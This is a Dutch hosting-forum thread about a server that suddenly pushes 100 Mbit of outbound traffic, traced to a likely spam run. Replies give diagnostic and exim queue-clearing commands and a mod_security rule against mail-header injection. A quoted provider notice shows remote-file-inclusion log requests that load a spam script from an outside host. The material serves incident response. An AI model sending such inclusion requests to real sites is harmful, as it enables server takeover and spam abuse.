Bekijk Volledige Versie : Server trekt 100mbit outgoing
Best wht'ers
ik ben bezig met een server van een kennis. Deze trekt vanuit het niets een 100mbit outgoing connectie. Bij het bekijken van total usage overview vanuit da admin dan komt er per sec 2mb bij. Het vreemde is dat er geen enkele user voor verantwoordelijk is.
Wat is nu het verstandigste om te doen en welke logs kan ik in dit geval raatplegen..
alvast bedankt!
is er ook niets te zien op iftop? daar staan namelijk standaard ip's bij vermeld
anders zou je kunnen kijken welk proces hiervoor de oorzaak is, 100meg genereren kan bijv een spamrun zijn en dat zou aardig wat load genereren
Begin maar met een iptraf waar je in ieder geval een breakdown naar protocol/port kan doen.
Vervolgens kan je ook nagaan naar welk IP adres je traffic voert.
Stefan Mensink
31/08/07, 19:19
Ook interessant is een: netstat -a -p
...en kijk even of daar dingen tussenstaan die er niet horen.
is er ook niets te zien op iftop? daar staan namelijk standaard ip's bij vermeld
anders zou je kunnen kijken welk proces hiervoor de oorzaak is, 100meg genereren kan bijv een spamrun zijn en dat zou aardig wat load genereren
De loads waren idd hoog, eum ik heb de server nu thuis hier staan dus hij staat nu offline.
is dat een probleem? (lijkt me wel)
hoort sunrpc op een debian box me da te draaien?
Mail queue controleren. Die zal waarschijnlijk vol staan met spam.
Mail queue controleren. Die zal waarschijnlijk vol staan met spam.
Okej.. als dat het geval is welke stappen moet ik dan ondernemen?
bedankt voor je reacties tot nu toe!
tja eerst de mail queue legen maken. Zie help.directadmin.com hiervoor.
Verder zal de spamrun dan komen door een lek contact formulier of iets in die richting. Kwestie van beter scripten :)
tja eerst de mail queue legen maken. Zie help.directadmin.com hiervoor.
Verder zal de spamrun dan komen door een lek contact formulier of iets in die richting. Kwestie van beter scripten :)
Okej, hoe kan ik erachter komen van welke script het afkomt? Ik heb namelijk een aantal klanten die zelf ook een aantal websites draaien.
yum install iptraf
eerst maar eens zien naar welk ip het gaat en blokeren!
indien uitgaande mail:
eerst controleren wie het verstuurd dit kan in directadmin als je als admin bent ingelogd.
anders in ssh als root:
exim -bp
legen mail queue:
exim -bpru | awk {'print $3'} | xargs exim -Mrm
mail injection tegen gaan:
in httpd.conf in de sectie mod_securety toevoegen:
SecFilterSelective ARGS_VALUES "\n[[:space:]]*(to|bcc|cc)[[:space:]]*:.*@"
indien er misbruik wordt gemaakt van mail injection de betreffende gebruiker suspenden.
logfiles nalopen waar het vandaan komt, van welk bastand:
Wij advisiseren u (indien wij het niet al gedaan hebben) om in eerste instantie al uw pagina,s welke het toe laten mail te verzenden te blokeren door deze tijdelijk te hernoemen.
Mogelijk hebben wij sommige bestanden van u al aangepast, indien dit zo is hebben wij de bestanden hernoemd naar: bestand.php.bak.
(daar waar bestand.php uw orginele bestandsnaam is, dit kan ook een gehele directory zijn.)
Om er achter te komen welke pagina,s er worden misbruik kunt u uw apache acces log files nalopen welke te vinden zijn via uw beheerpaneel onder de link: Site Summary / Statistics / Logs. (zie ook oude logfiles in de directory /domains/logs)
zoek hierbij op trefwoorden als "txt" en "cmd", in de logfiles ziet u dan dat uw pagina wordt aangeroepen met direct hierachter aan een link naar een txt bestand alwaar de spammers misbruik van maken.
voorbeeld: GET /mail/contact.php?page=http://members.tripod.com/good.txt
p.s in de txt staat zoeken op .txt of cmd, echter worden dit soort mail scriptjes ook verstopt in .jpg of andere bestandsnamen.
kijk dus gewoon of er ergens of er een pagina wordt opgeroepen via een bestand op uw server:
voorbeeld: GET /mail/contact.php?page=http://members.tripod.com/good.jpg
soms wordt het niet op het domeinnaam gedaan maar op ip basis, je vindt dan niks in de logs van de user, zie ook /var/log/httpd/acces.log